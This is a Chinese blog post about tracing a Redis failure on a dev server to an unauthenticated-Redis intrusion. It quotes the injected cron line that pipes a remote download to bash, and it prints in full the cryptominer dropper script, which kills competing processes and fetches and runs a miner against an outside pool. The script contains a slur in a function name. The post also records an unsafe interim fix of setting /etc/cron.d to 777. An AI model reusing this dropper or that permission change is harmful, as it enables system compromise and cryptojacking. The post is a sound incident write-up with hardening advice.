记一次Redis故障的排查

àì夳堔傛蜴生んèń 2022-04-13 13:42 546阅读 0赞

背景:

最近在公司dev服务器上搭建的redis总会出现异常,需要重启才能正常工作,严重影响开发效率,试图排查解决该问题

步骤:

查看redis配置文件:

查看/etc/redis.conf文件

  1. loglevel notice
  2. logfile /var/log/redis/redis.log

查看日志文件:

查看 /var/log/redis/redis.log文件
发现重启前一直出现错误报告

  1. 22661:C 29 Nov 16:25:43.078 # Failed opening the RDB file root (in server root dir /etc/cron.d) for saving: Permission denied

推测是rdb设置权限错误导致该问题…

修改对应权限:

查看对应权限
/etc/cron.d 目录权限为xxx,修改为777
该目录用于redis启动AOF持久化定时命令,写入失败导致redis异常

问题解决

事后发现 /etc/cron.d 目录下果然多了一个redis生成的root文件,之前是因为无法写入导致redis异常

后续:

神转折,后来看了下写入的是什么文件,发现redis中多了一个键,内容是

  1. */5 * * * * curl -fsSLk https://pixeldra.in/api/download/nbf6QU | bash

到该网址发现下载了一个文件

  1. #!/bin/bash
  2. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
  3. getnanoWatch(){
  4. ARCH=$(uname -i)
  5. if [ "$ARCH" == "x86_64" ]
  6. then
  7. rm -rf /tmp/nanoWatch*
  8. wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
  9. if [ $? -ne 0 -a $PS2 -eq 0 ];
  10. then
  11. curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
  12. fi
  13. elif [ "$ARCH" == "i386" ]
  14. then
  15. rm -rf /tmp/nanoWatch*
  16. wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
  17. if [ $? -ne 0 -a $PS2 -eq 0 ];
  18. then
  19. curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
  20. fi
  21. else
  22. rm -rf /tmp/nanoWatch*
  23. wget https://pixeldra.in/api/download/BsjL1_ --no-check-certificate -O /tmp/nanoWatch
  24. if [ $? -ne 0 -a $PS2 -eq 0 ];
  25. then
  26. curl -sk https://pixeldra.in/api/download/BsjL1_ -o /tmp/nanoWatch
  27. fi
  28. fi
  29. }
  30. killNiggiz(){
  31. ps -ef | grep crypto-pool | grep -v grep | awk '{print $2}' | xargs kill -9
  32. ps -ef | grep nanopool | grep -v grep | awk '{print $2}' | xargs kill -9
  33. ps -ef | grep supportxmr | grep -v grep | awk '{print $2}' | xargs kill -9
  34. ps -ef | grep minexmr | grep -v grep | awk '{print $2}' | xargs kill -9
  35. ps -ef | grep dwarfpool | grep -v grep | awk '{print $2}' | xargs kill -9
  36. ps -ef | grep xmrpool | grep -v grep | awk '{print $2}' | xargs kill -9
  37. ps -ef | grep moneropool | grep -v grep | awk '{print $2}' | xargs kill -9
  38. ps -ef | grep xmr | grep -v grep | awk '{print $2}' | xargs kill -9
  39. ps -ef | grep monero | grep -v grep | awk '{print $2}' | xargs kill -9
  40. ps -ef | grep udevs | grep -v grep | awk '{print $2}' | xargs kill -9
  41. ps -ef | grep udevd | grep -v grep | awk '{print $2}' | xargs kill -9
  42. ps -ef | grep docker | grep -v grep | awk '{print $2}' | xargs kill -9
  43. ps -ef | grep hashvault | grep -v grep | awk '{print $2}' | xargs kill -9
  44. ps -ef | grep moneroocean | grep -v grep | awk '{print $2}' | xargs kill -9
  45. ps -ef | grep evolutions | grep -v grep | awk '{print $2}' | xargs kill -9
  46. ps -ef | grep littletrump | grep -v grep | awk '{print $2}' | xargs kill -9
  47. ps -ef | grep jboss | grep -v grep | awk '{print $2}' | xargs kill -9
  48. skill -KILL crypto-pool
  49. skill -KILL nanopool
  50. skill -KILL supportxmr
  51. skill -KILL minexmr
  52. skill -KILL dwarfpool
  53. skill -KILL xmrpool
  54. skill -KILL moneropool
  55. skill -KILL xmr
  56. skill -KILL monero
  57. skill -KILL udevs
  58. skill -KILL udevd
  59. skill -KILL docker
  60. skill -KILL hashvault
  61. skill -KILL moneroocean
  62. skill -KILL evolutions
  63. skill -KILL littletrump
  64. skill -KILL jboss
  65. }
  66. killNiggiz
  67. PS2=$(ps aux | grep nanoWatch | grep -v "grep" | wc -l)
  68. if [ $PS2 -eq 0 ];
  69. then
  70. getnanoWatch
  71. fi
  72. chmod +x /tmp/nanoWatch
  73. chmod 777 /tmp/nanoWatch
  74. if [ $PS2 -eq 0 ];
  75. then
  76. /tmp/nanoWatch -o pool.t00ls.ru:19000 -k -B
  77. fi

特么被通过redis写进了一个挖矿脚本…
命名也十分搞笑,总之得知问题之后重装了系统,惨痛的代价
其实还是安全性的问题,之前的redis方便起见所有ip都可以访问,端口是默认的6379,密码为空,导致黑客完全可以写个脚本扫描所有ip的6379端口空密码试图连接这种毫无安全意识的服务器,并向redis中写入一些脚本文件…然后就是为所欲为了
吸取这次教训修改了redis的默认端口及密码
在redis.conf下加入如下内容禁止高风险命令的执行

  1. rename-command config ""
  2. rename-command flushall ""
  3. rename-command flushdb ""
  4. rename-command shutdown ""
  5. rename-command eval ""

发表评论

表情:
评论列表 (有 0 条评论,546人围观)

还没有评论,来说两句吧...

相关阅读